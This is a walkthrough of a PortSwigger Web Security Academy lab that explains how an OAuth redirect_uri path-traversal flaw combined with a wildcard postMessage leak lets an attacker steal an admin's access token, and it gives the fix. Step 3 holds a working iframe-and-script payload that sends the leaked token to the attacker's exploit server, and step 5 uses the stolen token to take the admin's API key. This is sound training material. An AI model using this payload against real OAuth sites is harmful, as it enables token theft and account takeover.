Expert · updated

OAuth authentication

PortSwigger Web Security Academy · Expert

  • #OAuth
  • #Authentication

Stealing OAuth Access Tokens via a Proxy Page

The vulnerability

Two bugs together. The OAuth server accepts a redirect_uri with ../, so the token can be sent to another page of the shop. The comment form on that page passes its own URL, with the token, to any website that embeds it.

Fix: Compare the redirect_uri exactly, and always set a target origin for postMessage.

The lab

Open the lab on PortSwigger

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

Note

As the victim uses Chrome, we recommend also using Chrome (or Burp’s built-in Chromium browser) to test your exploit.

Solution

1. Log In and Look at OAuth Flow: Log in to the website using the social media credentials wiener:peter. In Burp Suite, go to Proxy → HTTP history and study the OAuth flow. The redirect_uri parameter in the GET /auth request is the interesting part.

2. Find a postMessage Vulnerability: On a product detail page, leave a comment. This action triggers a GET /post/comment/comment-form request. The JavaScript in the response contains a postMessage vulnerability that sends data to a wildcard origin (*). We can use it to get the token out.

3. Create the Exploit Payload: Go to the Exploit Server. Add the following HTML and JavaScript to the body. The iframe redirects the user to the vulnerable comment-form page using a path traversal payload in the redirect_uri. The JavaScript then listens for the postMessage event and sends the leaked token to your Exploit Server's logs.

<iframe src="https://<OAUTH-SERVER-ID>.oauth-server.net/auth?client_id=<CLIENT_ID>&redirect_uri=https://<LAB-ID>.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

4. Steal the Admin’s Access Token: Click “Store” and then “Deliver exploit to victim” to send the payload to the administrator. The admin’s browser will execute the exploit, and you will see a request in your Exploit Server’s access logs with the leaked OAuth access token in the URL.

5. Retrieve Admin’s API Key and Solve Lab: Copy the URL from the access logs and paste it into Burp Decoder to URL-decode it. Copy the access_token value from the decoded URL. In Burp Repeater, send a GET /me request with the Authorization header set to Bearer YOUR_ACCESS_TOKEN. The response will contain the administrator's API key. Submit this key to solve the lab.